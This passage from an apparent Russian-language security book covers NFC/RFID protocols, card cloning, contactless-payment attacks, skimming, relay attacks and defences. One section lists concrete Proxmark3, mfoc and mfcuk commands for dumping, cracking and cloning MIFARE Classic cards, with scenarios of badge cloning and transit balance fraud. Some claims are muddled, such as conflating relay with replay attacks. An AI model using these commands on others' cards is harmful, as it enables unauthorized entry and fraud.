Эта глава посвящена уязвимостям систем NFC и RFID, охватывая методы клонирования и эмуляции, обход безопасности бесконтактных платежей, а также выполнение атак RFID-скимминга и повторного воспроизведения. Мы также рассмотрим оборонительные стратегии для защиты ваших карт, брелоков и других устройств с поддержкой RFID от несанкционированного доступа.

8.1 Понимание протоколов NFC и RFID​

Я знаю, о чем вы думаете: "NFC и RFID? Разве это не одно и то же?" Ну, вроде того, но и совсем нет. Это как сказать, что скейтборд и мотоцикл - это просто "вещи на колесах". Конечно, у них есть сходства, но попробуйте прокатиться на скейтборде по шоссе и посмотрите, что получится. (На самом деле, не надо. Я не несу ответственности за ваш выбор в жизни.)
В мире беспроводной связи NFC (Near Field Communication) и RFID (Radio Frequency Identification) повсюду - они обеспечивают работу всего: от бесконтактных платежей и гостиничных карт-ключей до отслеживания инвентаря на складах и даже микрочипов для домашних животных. Но если вы здесь, вас интересует не только оплата кофе в Starbucks - вы хотите знать, как работают эти технологии, как их можно использовать для атак и, самое главное, как их защитить.
Итак, давайте разберемся: что такое NFC и RFID?

Что такое RFID?

RFID (Radio Frequency Identification) - это технология беспроводной связи, которая позволяет устройствам передавать данные с помощью радиоволн. Она используется во множестве приложений: от управления цепочками поставок и контроля доступа до отслеживания вашей собаки, когда она в третий раз за неделю сбегает.
Как работает RFID:
RFID-системы состоят из двух ключевых компонентов:
● RFID-метка - Маленький чип с антенной, который хранит данные (например, идентификационный номер).
● RFID-считыватель - Устройство, которое посылает радиоволны для активации метки и чтения ее данных.

Типы RFID-систем:

📌 Низкочастотные (LF) (30-300 кГц) - Используются для отслеживания животных, брелоков автомобилей и пропусков для доступа.
📌 Высокочастотные (HF) (3-30 МГц) - Используются в гостиничных картах-ключах, системах бесконтактных платежей и транспортных картах (например, Oyster или MetroCards).
📌 Ультравысокочастотные (UHF) (300 МГц-3 ГГц) - Используются для отслеживания инвентаря на складах, управления цепочками поставок и некоторых платных дорог.
✅ Пример: Ваш офисный пропуск, скорее всего, содержит чип RFID LF или HF, который считыватель сканирует, чтобы пропустить вас в здание (или не пропустить в плохой день).

Что такое NFC?

Теперь поговорим о NFC (Near Field Communication) - по сути, это младший, более модный кузен RFID. NFC на самом деле является подмножеством RFID, но разработан для краткосрочных, высокобезопасных взаимодействий - подумайте об Apple Pay, Google Pay и устройствах Bluetooth, которые подключаются по касанию.

Как работает NFC:

🔹 Использует высокочастотный RFID (13,56 МГц) для связи на коротких расстояниях (обычно в пределах 4 см или менее).
🔹 Поддерживает двустороннюю связь (в отличие от большинства RFID-систем, которые односторонние).
🔹 Работает в трех режимах:
● Режим считывателя/записи - Читает пассивные NFC-метки (например, сканирование информационной метки в музее).
● Режим эмуляции карты - Превращает ваш телефон в бесконтактную платежную карту.
● Режим "точка-точка" - Позволяет обмениваться данными между NFC-устройствами (например, Android Beam - RIP).
✅ Пример: Когда вы касаетесь телефоном терминала для оплаты кофе, он использует режим эмуляции карты NFC, чтобы имитировать банковскую карту.

RFID против NFC: В чем разница?

Главный вывод:
📌 RFID в основном работает на больших расстояниях и в одностороннем режиме (используется для отслеживания и идентификации).
📌 NFC работает на коротких расстояниях, в двустороннем режиме и более безопасен (используется для платежей и контроля доступа).
Проблемы безопасности: Почему это должно вас волновать
🤔 Хорошо, RFID и NFC - это круто, но где все идет ужасно не так?

Распространенные уязвимости в системах RFID и NFC:

● Прослушивание - Злоумышленники перехватывают беспроводные сигналы и крадут конфиденциальные данные.
● Клонирование - RFID-пропуска и NFC-карты могут быть скопированы и использованы злоумышленниками.
● Релейные атаки - Хакеры увеличивают дальность действия NFC, чтобы обмануть устройства и заставить их обработать платежи.
● Скимминг - Преступники используют скрытые RFID-считыватели для кражи данных кредитных карт у ничего не подозревающих жертв.
● Внедрение данных - Злоумышленники изменяют NFC-метки для выполнения вредоносных действий при сканировании.
✅ Пример: В 2019 году исследователи продемонстрировали, как злоумышленник может передать сигнал NFC-платежа с телефона жертвы на большое расстояние, что позволило совершить мошеннические транзакции без ведома жертвы.

Реальные эксплойты: Что делают хакеры
🔹 Клонирование RFID-пропусков - С помощью таких устройств, как Proxmark3, злоумышленники могут сканировать и дублировать карты доступа, получая несанкционированный доступ в здания.
🔹 Перехват NFC-платежей - Хакеры используют плохо защищенные системы NFC-платежей для совершения мошеннических транзакций.
🔹 RFID-скимминг в банкоматах - Преступники устанавливают скрытые RFID-считыватели рядом с банкоматами для кражи данных карт.
🔹 RFID-спуфинг - Злоумышленники воспроизводят ранее записанные сигналы, чтобы обмануть системы (например, разблокировать автомобили с помощью скопированных сигналов брелоков).

Будущее безопасности RFID и NFC

Исследователи безопасности и разработчики постоянно работают над новыми методами защиты для противодействия этим угрозам. Вот несколько многообещающих достижений:
✔️ Зашифрованные RFID/NFC-метки - Внедрение шифрования AES-128/256 для предотвращения клонирования.
✔️ Динамические коды для NFC-платежей - Обеспечение использования уникального кода для каждой транзакции.
✔️ Проверка расстояния сигнала - Обнаружение релейных атак путем проверки времени отклика.
✔️ Многофакторная аутентификация - Требование биометрической проверки или PIN-кода для высокорисковых NFC-платежей.
✅ Пример: Apple Pay и Google Pay уже используют динамические коды и многофакторную аутентификацию, что делает их гораздо более безопасными, чем традиционные кредитные карты.

Заключительные мысли: RFID и NFC - это здорово... но будьте осторожны

RFID и NFC делают жизнь невероятно удобной, но, как и все беспроводные технологии, они сопряжены с рисками безопасности. Понимание того, как они работают, как их можно атаковать и как их защитить, имеет решающее значение - будь вы хакер, специалист по безопасности или просто человек, который не хочет, чтобы его данные кредитной карты были украдены, пока он стоит в очереди за кофе.

Итак, какой здесь урок?

1️⃣ RFID отлично подходит для отслеживания, но безопасность часто остается на втором плане.
2️⃣ NFC более безопасен, но все еще уязвим для релейных атак и скимминга.
3️⃣ Если вы не шифруете свои RFID/NFC-данные, вы делаете это неправильно.
О, и, возможно, приобретите кошелек с RFID-защитой - потому что никто не любит неожиданные загадочные списания со своего банковского счета.

8.2 Клонирование и эмуляция NFC и RFID карт​

Будем честны: в клонировании пропусков и обходе систем безопасности, как киберпанк-хакер, есть что-то неоспоримо крутое. Это то, что показывают в шпионских фильмах, только в реальной жизни это обычно какой-нибудь хакер, проникающий в офис ради развлечения, а не высокобюджетный грабеж (если только не считать кражу бесплатных закусок из комнаты отдыха).
Но вот в чем дело: клонирование RFID и NFC карт - это не просто голливудская магия, это тревожно легко. С помощью правильных инструментов (некоторые из которых стоят меньше дорогой чашки кофе) вы можете дублировать гостиничные карты-ключи, офисные пропуска или даже транспортные карты. Звучит ужасно? Так и есть. Но понимание того, как это работает, - первый шаг к защите этих систем.
Итак, давайте разберемся, как хакеры клонируют, эмулируют и манипулируют RFID и NFC картами - и одновременно научимся их останавливать.

Как работает клонирование RFID и NFC

Прежде чем мы начнем дублировать пропуска безопасности, как шпион со скидкой, давайте разберемся, как работают эти карты.

RFID/NFC карты: Что внутри?
Как RFID (Radio Frequency Identification), так и NFC (Near Field Communication) карты полагаются на маленькие встроенные чипы, которые хранят и передают данные с помощью радиоволн. При сканировании считывателем чип отправляет идентификатор или зашифрованные данные аутентификации для проверки доступа.
Но проблема? Многие из этих карт хранят статические, неизменяемые данные, что означает: если вы можете их прочитать, вы можете их скопировать и воспроизвести - что делает клонирование невероятно простым.

Шаг 1: Чтение RFID или NFC карты
Инструменты:
Чтобы скопировать RFID или NFC карту, злоумышленнику нужно устройство для сканирования и извлечения ее уникальных данных. Некоторые из наиболее часто используемых инструментов включают:
🔹 Proxmark3 - Святой Грааль RFID-взлома. Этот инструмент может сканировать, клонировать и даже эмулировать высоко- и низкочастотные RFID-карты.
🔹 Flipper Zero - Карманный инструмент для взлома, который может считывать, хранить и эмулировать RFID/NFC сигналы.
🔹 ChameleonMini - Мощное устройство для эмуляции и клонирования NFC.
🔹 ACR122U - Простой USB-считыватель/записыватель NFC, используемый для чтения и записи NFC-карт.

Чтение RFID-карт
Для низкочастотных RFID (125 кГц, обычно используемых в пропусках доступа):

proxmark3> lf search
proxmark3> lf hid read

Для высокочастотных NFC-карт (13,56 МГц, используемых в транспортных и платежных картах):proxmark3> hf search

proxmark3> hf mf dump

Если на карте нет шифрования, поздравляем! Вы только что извлекли все ее данные. Если есть... ну... теперь все становится интересно.

Шаг 2: Взлом зашифрованных NFC и RFID карт
Не все RFID/NFC карты легко клонировать - некоторые используют методы шифрования, такие как MIFARE Classic или DESFire, для защиты своих данных. Но, как показали исследователи безопасности, многие из этих защит имеют серьезные слабости.

Взлом MIFARE Classic (самой распространенной NFC-карты)

MIFARE Classic - одна из самых широко используемых NFC-карт (встречается в транспортных системах, пропусках доступа и гостиничных ключах), но ее шифрование смехотворно слабое.
🔹 Метод атаки: Атаки "HardNested" и "Darkside" - Используют слабое управление ключами для перебора ключей аутентификации.

mfoc -O dump.mfd # Использует старые методы атаки
mfcuk -C -R # Пытается выполнить атаки перебора

🔹 Proxmark3 Брутфорс-дампинг

proxmark3> hf mf autopwn

После успешной атаки мы получаем полный дамп данных карты, готовый к клонированию.

Шаг 3: Запись (клонирование) карты
Теперь, когда мы извлекли данные карты, мы можем записать их на пустую карту или использовать устройство для ее эмуляции.
🔹 Запись на пустую RFID/NFC карту:

proxmark3> hf mf restore dump.mfd

🔹 Использование ChameleonMini или Flipper Zero для эмуляции:
● Загрузите дамп данных карты в устройство.
● Эмулируйте карту так, чтобы считыватель думал, что это оригинал.
✅ Результат: Клонированная карта теперь неотличима от оригинала, что позволяет злоумышленнику получить несанкционированный доступ.

Реальные атаки: Как хакеры используют клонирование

1️⃣ Клонирование офисных пропусков:
● Хакер сталкивается с сотрудником в лифте.
● Использует скрытый RFID-сканер для копирования его карты доступа.
● Записывает данные на пустую RFID-карту.
● Входит в офис, как будто он там главный.
2️⃣ Дублирование гостиничных карт-ключей:
● Злоумышленник сканирует гостиничную карту-ключ, оставленную без присмотра.
● Копирует ее за секунды.
● Получает доступ к комнате жертвы, спортзалу и даже VIP-лаунжу.
3️⃣ Взлом транспортных карт:
● Хакер считывает карту общественного транспорта.
● Переписывает баланс на более высокую сумму (бесплатные поездки навсегда!).

Защитные меры: Как защититься от клонирования

Если клонирование так просто, как нам предотвратить несанкционированный доступ?
🔹 Обновите карты до безопасных - Используйте карты MIFARE DESFire или HID iClass, которые имеют более надежное шифрование.
🔹 Внедряйте многофакторную аутентификацию - Требуйте PIN-коды или биометрические данные в дополнение к сканированию RFID/NFC.
🔹 Используйте динамическое шифрование - Избегайте статических данных карты, которые можно скопировать и воспроизвести.
🔹 Отслеживайте несанкционированные считывания - Обнаруживайте посторонние RFID-считыватели, сканирующие карты в общественных местах.
🔹 Экранируйте свои карты - Кошельки с RFID-защитой предотвращают сканирование на расстоянии.

Заключительные мысли: Клонировать карты легко, защищать их - сложно

RFID и NFC карты делают доступ невероятно удобным, но их безопасность часто остается на втором плане. Клонирование незащищенной карты занимает секунды, поэтому организации и частные лица должны серьезно относиться к безопасности.

Помните:
✅ Если карту можно прочитать, ее можно скопировать.
✅ Если карта использует слабое шифрование, ее можно взломать.
✅ Если безопасность полагается только на RFID/NFC, она совершенно не безопасна.
Так что в следующий раз, когда вы приложите карту к двери или платежному терминалу, помните - кто-то с нужными инструментами может также получать доступ к вашим данным. Будьте в безопасности!

8.3 Обход систем безопасности бесконтактных платежей​

Будем честны - оплата кредитной картой прикосновением к считывателю за кофе кажется почти слишком простой. Никакого PIN-кода, никакой подписи, просто быстрый писк, и готово. Но вот в чем дело: если это так просто для вас, представьте, насколько это просто для хакера.
Да, бесконтактные платежи - это, по сути, шведский стол для киберпреступников с нужными инструментами. С небольшим устройством, спрятанным в рюкзаке, кто-то может пройти мимо вас в толпе и украсть деньги прямо с вашей карты - без вашего ведома. И это только начало. От кражи данных карты до клонирования транзакций - злоумышленники придумали шокирующие способы обойти бесконтактную безопасность.
Итак, давайте погрузимся в темную сторону технологии "tap-to-pay" и посмотрим, насколько небезопасны ваши "безопасные" транзакции на самом деле.

Как работают бесконтактные платежи (и почему они уязвимы)

Бесконтактные платежные карты (такие как Visa payWave, Mastercard PayPass и American Express ExpressPay) используют технологию NFC (Near Field Communication). Они работают на частоте 13,56 МГц, что позволяет им беспроводным образом обмениваться данными с платежным терминалом - физический контакт не требуется.
Вот что происходит, когда вы прикладываете карту:
1️⃣ Карта отправляет платежные данные (номер карты, срок действия и т. д.) терминалу.
2️⃣ Терминал запрашивает авторизацию у банка.
3️⃣ Если одобрено, транзакция обрабатывается без необходимости ввода PIN-кода для небольших сумм (обычно менее 100 долларов США).
Звучит просто, верно? Слишком просто. Именно поэтому хакеры это любят.

Атака №1: Скимминг бесконтактных платежей

Представьте, что вы стоите в переполненном метро, и кто-то проходит мимо вас слишком близко. К тому времени, как вы это заметите, они уже считали данные вашей кредитной карты, не прикасаясь к вашему кошельку.
Как это работает:
🔹 Хакер использует дешевый NFC-считыватель (который можно купить онлайн менее чем за 50 долларов США).
🔹 Он подходит близко к жертвам и считывает данные карты через кошельки и карманы.
🔹 Номер карты, срок действия и история транзакций мгновенно крадутся.
💀 Страшная часть? Некоторые банки не шифруют эти данные, что означает, что злоумышленники могут повторно использовать их для онлайн-покупок.

Пример из реальной жизни:
В 2019 году исследователи безопасности продемонстрировали, что с помощью мобильного телефона и NFC-считывателя они могли украсть данные кредитных карт у ничего не подозревающих прохожих в людных местах, таких как торговые центры. Украденные данные затем могли быть использованы для мошеннических транзакций онлайн.

🔹 Как защитить себя:
✅ Используйте кошелек с RFID-защитой, чтобы предотвратить NFC-сканирование.
✅ Отключите бесконтактные платежи в вашем банковском приложении (если возможно).
✅ Регулярно проверяйте выписки по банковским счетам на предмет подозрительных транзакций.

Атака №2: Релейные атаки (кража денег на расстоянии)

Что, если я скажу вам, что хакеру даже не нужно быть рядом с вами, чтобы украсть ваши деньги?
Именно так работает релейная атака. Два злоумышленника используют беспроводное реле для расширения диапазона вашей карты - обманывая платежный терминал, заставляя его думать, что реальная карта присутствует.
Как это работает:
1️⃣ Злоумышленник А находится рядом с жертвой (возможно, в кофейне). Его устройство считывает NFC-карту жертвы.
2️⃣ Злоумышленник Б находится где-то еще (например, на заправке) и держит второе устройство рядом с платежным терминалом.
3️⃣ Устройства ретранслируют NFC-сигнал в реальном времени, заставляя терминал думать, что карта жертвы приложена.
4️⃣ Транзакция одобрена! Бесплатные деньги для хакера.

Пример из реальной жизни:
Группа киберпреступников в Европе использовала релейные атаки для снятия наличных с банкоматов без ведома жертв. Они просто находились рядом с людьми в людных местах и ретранслировали украденный сигнал на банкоматы за много миль.

🔹 Как защитить себя:
✅ Отключите NFC на телефоне, когда вы им не пользуетесь.
✅ Используйте бесконтактную карту с лимитами транзакций.
✅ Включите подтверждение PIN-кодом для всех транзакций - даже для небольших.

Атака №3: Увеличение лимита платежей без PIN-кода

Большинство банков устанавливают лимит бесконтактных платежей (обычно 100 долларов США), чтобы предотвратить злоупотребления. Но что, если злоумышленник сможет обойти этот лимит - и опустошить ваш банковский счет за секунды?
Именно это обнаружили исследователи в 2020 году. Они нашли способ обмануть бесконтактные карты Visa, чтобы разрешить высокоценные платежи без PIN-кода.

Как это работает:
🔹 Злоумышленник изменяет NFC-связь между картой и терминалом.
🔹 Он вставляет поддельное сообщение, которое обходит проверку лимита банка.
🔹 Транзакция проходит - PIN-код не требуется, оповещения не срабатывают.
💀 Результат? Хакеры могли украсть тысячи долларов, даже не прикасаясь к клавиатуре PIN-кода. Пример из реальной жизни:
Фирма безопасности Positive Technologies продемонстрировала, что они могут заставить карты Visa одобрять неограниченные транзакции, даже когда у банка жертвы были приняты меры безопасности.

🔹 Как защитить себя:
✅ Используйте Mastercard или AMEX вместо Visa (у них лучшая безопасность).
✅ Настройте оповещения о транзакциях в реальном времени, чтобы отслеживать несанкционированные платежи.
✅ Если вы подозреваете мошенничество, немедленно отключите бесконтактные платежи через ваше банковское приложение.

Атака №4: Клонирование карт и эмуляция NFC

Что, если хакер сможет создать копию вашей кредитной карты - не прикасаясь к ней?
С помощью инструментов эмуляции NFC, таких как Proxmark3 и Flipper Zero, злоумышленники могут клонировать определенные типы бесконтактных карт и использовать их для мошеннических транзакций.
Как это работает:
1️⃣ Хакер сканирует карту жертвы с помощью NFC-считывателя.
2️⃣ Он сохраняет данные на смартфон с поддержкой NFC или устройство эмуляции.
3️⃣ Он заходит в магазин и прикладывает свой телефон для оплаты - выдавая его за настоящую карту.
💀 Самая страшная часть? Некоторые банки не проверяют клонированные карты, поэтому транзакции проходят без каких-либо предупреждений.

🔹 Как защитить себя:
✅ Используйте виртуальную карту для онлайн-транзакций вместо вашей реальной карты.
✅ Запросите карту с динамическим CVV (некоторые банки предоставляют их).
✅ Сообщайте о любых несанкционированных транзакциях немедленно.

Заключительные мысли: Кошмар бесконтактных платежей

Бесконтактные платежи - быстрые, удобные и ужасно небезопасные. То, что делает их простыми в использовании, также делает их простыми для эксплуатации.
🚨 Если хакер может это считать, он может это украсть.
🚨 Если хакер может это ретранслировать, он может это потратить.
🚨 Если хакер может обойти лимиты, он может опустошить ваш счет.

Как оставаться в безопасности

✅ Используйте кошельки или чехлы с RFID-защитой.
✅ Включите подтверждение PIN-кодом для ВСЕХ транзакций.
✅ Настройте оповещения в реальном времени для каждой транзакции.
✅ Отключите бесконтактные платежи, если они вам действительно не нужны.
В конечном итоге, оплата прикосновением - это палка о двух концах. Это невероятно удобно - но также потенциальная катастрофа, если вы не защитите себя. Будьте параноиками, будьте в безопасности и не позволяйте хакерам получить доступ к вашему кошельку!

8.4 RFID-скимминг и релейные атаки​

Добро пожаловать в мир RFID: где ваш кошелек говорит слишком много
Представьте, что вы идете по людному торговому центру, занимаясь своими делами, когда - бац! - кто-то крадет данные вашей кредитной карты прямо через ваш карман. Никакого взлома баз данных, никакого подбора PIN-кодов - просто простой RFID-сканер, несколько секунд, и вуаля! Ваша бесконтактная карта только что вступила в разговор, которого не должна была.
RFID (Radio Frequency Identification) - технология повсюду: в кредитных картах, пропусках, паспортах, ключах от гостиничных номеров и даже в микрочипах для животных. Это магия бесконтактной оплаты и бесключевого доступа, но вот в чем загвоздка: ее также невероятно легко взломать.
В этом разделе мы глубоко погрузимся в RFID-скимминг и релейные атаки - два самых хитрых способа, которыми хакеры крадут данные, даже не прикасаясь к вам. К концу вы будете точно знать, как работают эти атаки и как им противостоять (без необходимости заворачивать кошелек в алюминиевую фольгу... если вы, конечно, этого не хотите).

RFID-скимминг: как хакеры крадут данные незаметно для вас

Карты и устройства с поддержкой RFID постоянно транслируют сигнал, который может быть прочитан RFID-сканером при приближении. Обычно это здорово - это позволяет вам открывать двери, оплачивать кофе и регистрироваться в аэропортах, не копаясь в карте. Но хакеры? Они любят эту функцию.

С помощью простого RFID-считывателя (который можно купить онлайн за 50 долларов США или меньше) злоумышленник может:
✅ Читать RFID-сигналы с расстояния нескольких дюймов (или даже футов)
✅ Красть номера кредитных карт, сроки действия и даже некоторую личную информацию
✅ Клонировать пропуска для проникновения в офисы, гостиницы или квартиры
И самое худшее? Большинство RFID-передач не зашифрованы. Это означает, что как только хакер получит ваши данные, он сможет скопировать и повторно использовать их с минимальными усилиями.

Пример из реальной жизни: Атака "Ghost Tap"

Исследователи безопасности продемонстрировали, что с помощью RFID-сканера, спрятанного в сумке, они могли пройти через толпу и собрать сотни данных кредитных карт за несколько минут. И если этого недостаточно, хакеры нашли способы удаленно списывать средства с украденных карт, отправляя транзакцию через мобильное POS-устройство.

Как защитить себя:
🔹 Используйте кошелек или чехол с RFID-защитой (они действительно работают!).
🔹 Складывайте несколько RFID-карт вместе - они будут мешать сигналам друг друга.
🔹 Отключите RFID-платежи, если ваш банк позволяет это.

Релейные атаки: когда хакеры заставляют вашу карту говорить снова (и снова)

Что такое релейная атака?
Допустим, вы прикладываете свой RFID-пропуск для входа в офис. Сканер записывает уникальный сигнал с вашей карты, подтверждая вашу личность перед открытием двери. Но что, если хакер запишет этот сигнал и воспроизведет его позже, чтобы открыть ту же дверь - без вашей карты?
Вот как работает релейная атака. Вместо того чтобы напрямую красть RFID-данные, злоумышленники захватывают и повторно используют их, обманывая системы, заставляя их думать, что оригинальное устройство все еще присутствует.

Как это работает
🔹 Хакер перехватывает RFID-сигналы, используя программно-определяемое радио (SDR) или устройство типа Proxmark3.
🔹 Он записывает передачу, когда вы прикладываете свою RFID-карту.
🔹 Позже он воспроизводит тот же сигнал - и вуаля, мгновенный доступ без необходимости иметь настоящую карту.

Где используются релейные атаки

🔸 Взлом зданий (корпоративные офисы, гостиницы, парковки)
🔸 Клонирование гостиничных ключей
🔸 Доступ в ограниченные зоны с украденными пропусками сотрудников
🔸 Обход электронных систем оплаты дорожных сборов и проездных карт

Пример из реальной жизни: Ограбление гостиничных ключей

Хакеры успешно клонировали RFID-ключи от гостиничных номеров, используя дешевые релейные устройства. В одном печально известном случае исследователи на Black Hat продемонстрировали, как они могли скопировать RFID-сигнал гостиничного ключа и открыть любую дверь в здании - и все это без ведома персонала отеля.

Как защитить себя:
✅ Используйте RFID-карты с динамическими кодами или аутентификацией "запрос-ответ" (не все карты уязвимы!).
✅ Используйте многофакторную аутентификацию (например, пропуск + PIN-код).
✅ Обновитесь до UHF (Ultra High Frequency) RFID, который предлагает лучшее шифрование.

Продвинутые эксплойты RFID: темная сторона

Технология RFID имеет серьезные слабости, и хакеры постоянно находят новые способы их использования. Вот две атаки следующего уровня, которые идут еще дальше:
1. Атаки усиления RFID
Когда-нибудь слышали о сканировании RFID на большом расстоянии? Обычно RFID работает только на расстоянии нескольких дюймов, но хакеры могут создавать усилители радиочастотного сигнала, которые увеличивают дальность до нескольких футов или более. Это означает, что злоумышленнику даже не нужно быть рядом с вами - он может украсть RFID-данные через всю комнату.
2. Клонирование RFID (окончательная кража личности)
Как только хакер украдет ваши RFID-данные, он может записать их на чистый RFID-чип и создать идеальную копию вашего пропуска, ключа или даже паспорта.

Такие инструменты, как Flipper Zero, Proxmark3 и ChameleonMini, делают этот процесс невероятно простым. Менее чем за минуту хакер может:
🔹 Скопировать ваш рабочий пропуск и войти в ваш офис.
🔹 Клонировать вашу карту метро и ездить бесплатно.
🔹 Дублировать брелок для доступа в частные зоны.
🔹 Как защитить себя:
✅ Используйте зашифрованные RFID-системы с динамическими кодами (проверьте у своего работодателя или управляющего зданием).
✅ Физически экранируйте свои карты с помощью корпусов с RFID-защитой.
✅ Регулярно проверяйте журналы доступа на предмет подозрительных записей.

Заключительные мысли: как оставаться на шаг впереди

Технология RFID очень удобна - но также очень уязвима. Скимминг, релейные атаки и клонирование - это реальные угрозы, которые могут привести к финансовым потерям, несанкционированному доступу и краже личных данных.
🚨 Если это передает по беспроводной сети, это может быть взломано.
🚨 Если это можно клонировать, это будет клонировано.
🚨 Если хакеры могут получить от этого прибыль, они найдут способ.
Будьте умны, будьте параноиками и держите свои RFID-сигналы под замком!

8.5 Стратегии защиты безопасных бесконтактных систем​

Добро пожаловать в мир RFID-паранойи (или как оставаться на шаг впереди хакеров)
Если вы дочитали до этого места, поздравляем!
Теперь вы официально знаете, что ваша кредитная карта, офисный пропуск и даже ключ от гостиничного номера - это болтуны, которые любят делиться своими секретами со всеми, кто умеет слушать. RFID, NFC и другие бесконтактные технологии облегчают жизнь - но они также облегчают работу хакеров. И будем честны: никто не хочет проснуться с пустым банковским счетом или узнать, что кто-то другой наслаждался доступом в VIP-лаунж за их счет.
Но не волнуйтесь! Эта глава посвящена обороне. К тому времени, как мы закончим, вы будете точно знать, как защитить свои бесконтактные системы, дать отпор скиммерам и релейным атакам, и превратить ваши гаджеты с поддержкой RFID в крепости уровня Форт-Нокс. Никаких шапочек из фольги не требуется (но, эй, если хотите, я не буду осуждать).

Шаг 1: Используйте технологию RFID-блокировки (да, она работает!)
Вы, вероятно, видели те кошельки или чехлы Faraday с RFID-защитой, которые обещают защитить ваши карты от электронных карманников. Хорошая новость: они действительно работают! Эти кошельки и чехлы содержат металлическую сетку, которая блокирует RFID-сигналы, предотвращая несанкционированное сканирование.

Лучшие практики:

✅ Храните ваши бесконтактные карты в кошельках или чехлах с RFID-защитой.
✅ Если у вас их нет, сложите несколько RFID-карт вместе - они будут мешать сигналам друг друга.
✅ Рассмотрите возможность использования сумки Faraday для дополнительной безопасности (особенно для паспортов и брелоков).
Бонусный совет: если вы хотите DIY-решение, заворачивание карты в алюминиевую фольгу работает, но, давайте будем честны - это не самый стильный вариант.

Шаг 2: Обновитесь до безопасных бесконтактных карт и устройств
Не все RFID или NFC карты одинаковы. Некоторые используют статические идентификаторы, что означает, что хакеры могут легко их клонировать или ретранслировать. Другие используют динамическое шифрование для изменения сигнала каждый раз, когда вы прикладываете карту.
Безопасные бесконтактные варианты:
🔹 EMV бесконтактные кредитные карты - они используют динамические коды, что затрудняет их клонирование.
🔹 MIFARE DESFire и HID Seos Smart Cards - зашифрованные и почти невозможные для дублирования.
🔹 Системы доступа на основе Bluetooth - более безопасная альтернатива традиционным RFID-картам.

Как проверить безопасность вашей карты:
Если вы хотите проверить, уязвима ли ваша карта, используйте приложение NFC-считывателя на вашем смартфоне. Если оно считывает одни и те же данные каждый раз, ваша карта клонируема. Время обновляться!

Шаг 3: Внедрите многофакторную аутентификацию (MFA)
🔑 Одноуровневая безопасность - мечта хакера. Если злоумышленник клонирует ваш бесконтактный ключ-карту, он может войти в ваш офис, как будто он там хозяин. Но что, если ваша система требует второй формы аутентификации? Внезапно эта клонированная карта становится бесполезной.

MFA для бесконтактных систем:

✅ RFID + PIN-код: Даже если кто-то украдет ваш пропуск, ему все равно понадобится ваш код.
✅ RFID + Биометрическое сканирование: Отпечаток пальца или сканирование лица добавляет дополнительный уровень безопасности.
✅ RFID + Мобильная аутентификация: Некоторые современные системы доступа отправляют push-уведомление для подтверждения.
Если система безопасности вашего рабочего места или дома по-прежнему полагается только на RFID-карту, пора обновиться.

Шаг 4: Мониторинг и обнаружение несанкционированного сканирования
Хакеры полагаются на скрытность для скимминга, клонирования и ретрансляции RFID-сигналов. Но что, если вы сможете обнаружить несанкционированное сканирование до того, как произойдет ущерб?

Как поймать RFID-скиммеры на месте преступления:

🔹 Используйте RFID-детектор: Устройства, такие как ChameleonMini или Flipper Zero, могут сканировать на предмет подозрительной RFID-активности.
🔹 Мониторинг журналов доступа: Если на вашем рабочем месте или в здании есть система входа на основе RFID, регулярно проверяйте журналы на наличие неизвестных идентификаторов карт или необычных шаблонов доступа.
🔹 Настройка оповещений: Некоторые продвинутые RFID/NFC-системы могут отправлять уведомления, если неизвестное устройство пытается с ними взаимодействовать.
Профессиональный совет: Если ваша карта доступа внезапно перестала работать, будьте подозрительны. Злоумышленники иногда используют релейные атаки, которые временно отключают вашу оригинальную карту, пока используют клонированную версию.

Шаг 5: Обеспечение безопасности IoT и систем бесконтактных платежей
IoT-устройства, умные замки и системы мобильных платежей в значительной степени полагаются на беспроводную аутентификацию - что делает их основными целями для злоумышленников.

Как защитить умные IoT-устройства от RFID/NFC-эксплойтов:

🔹 Отключите NFC-платежи, если вы ими не пользуетесь - это устраняет основной вектор атаки.
🔹 Используйте платежные приложения с биометрической аутентификацией - Face ID или сканирование отпечатков пальцев предотвращают несанкционированные транзакции.
🔹 Защитите умные замки с помощью динамических кодов или временного доступа - статические RFID-ключи рискованны. Выбирайте системы с динамическим шифрованием.
🔹 Регулярные обновления прошивки - многие уязвимости возникают из-за устаревшего программного обеспечения - исправляйте рано, исправляйте часто!

Шаг 6: Обучение и просвещение пользователей (потому что безопасность сильна настолько, насколько сильно ее самое слабое звено)
Самая большая слабость безопасности - это не технология, а люди, которые ее используют. Если сотрудники, друзья или члены семьи не понимают рисков, они, скорее всего, станут жертвами атак.

Обучение других безопасности RFID/NFC:

✅ Расскажите им о RFID-скимминге - большинство людей не осознают, что их кредитные карты могут быть украдены без прикосновения.
✅ Продемонстрируйте, насколько легко клонировать слабые RFID-карты - простая демонстрация (с использованием легального инструмента клонирования RFID, такого как Proxmark3) часто убеждает скептиков.
✅ Поощряйте лучшие практики - простые привычки, такие как экранирование карт и мониторинг транзакций, могут предотвратить крупные нарушения безопасности.

Заключительные мысли: Паранойя - ваш друг (но не переусердствуйте)

Беспроводные технологии - это удивительно: они облегчают жизнь, ускоряют транзакции и позволяют нам открывать двери, как секретные агенты. Но, как и со всеми великими инновациями, безопасность часто отходит на второй план по сравнению с удобством.
● Стоит ли вам параноидально относиться к безопасности RFID/NFC? Абсолютно.
● Стоит ли вам заворачивать весь кошелек в фольгу и жить в бункере? Вероятно, нет.

Вместо этого следуйте этим простым, практичным мерам безопасности:

🔹 Используйте кошельки с RFID-защитой и зашифрованные карты.
🔹 Обновите устаревшие RFID-системы до аутентификации с динамическими кодами.
🔹 Мониторинг и обнаружение несанкционированного RFID-сканирования.
🔹 Обучайте себя и других - потому что умный пользователь - лучшая защита.
В конечном итоге, хакеры любят ленивую безопасность. Так что не облегчайте им задачу. Защититесь, будьте бдительны и обеспечьте безопасность вашего беспроводного мира!


Глава 9: Атаки на беспроводные Mesh-сети и IoT-сети​

Ваш умный дом очень удобен - пока им не начнет управлять кто-то другой. Беспроводные Mesh-сети обеспечивают работу всего, от умных городов до автоматизации IoT, но они также открывают новые векторы атак. Zigbee, Z-Wave и другие IoT-протоколы могут быть перехвачены, заглушены или прослушаны, предоставляя злоумышленникам доступ к критически важным системам.
В этой главе рассматриваются проблемы безопасности беспроводных Mesh-сетей и IoT-сетей, включая уязвимости протоколов, атаки глушения и методы прослушивания. Мы изучим реальные примеры атак на устройства умного дома и обсудим лучшие практики защиты IoT-экосистем от несанкционированного доступа и DoS-атак.

9.1 Понимание беспроводных Mesh-сетей и их проблем безопасности​

Добро пожаловать в джунгли беспроводных Mesh-сетей!
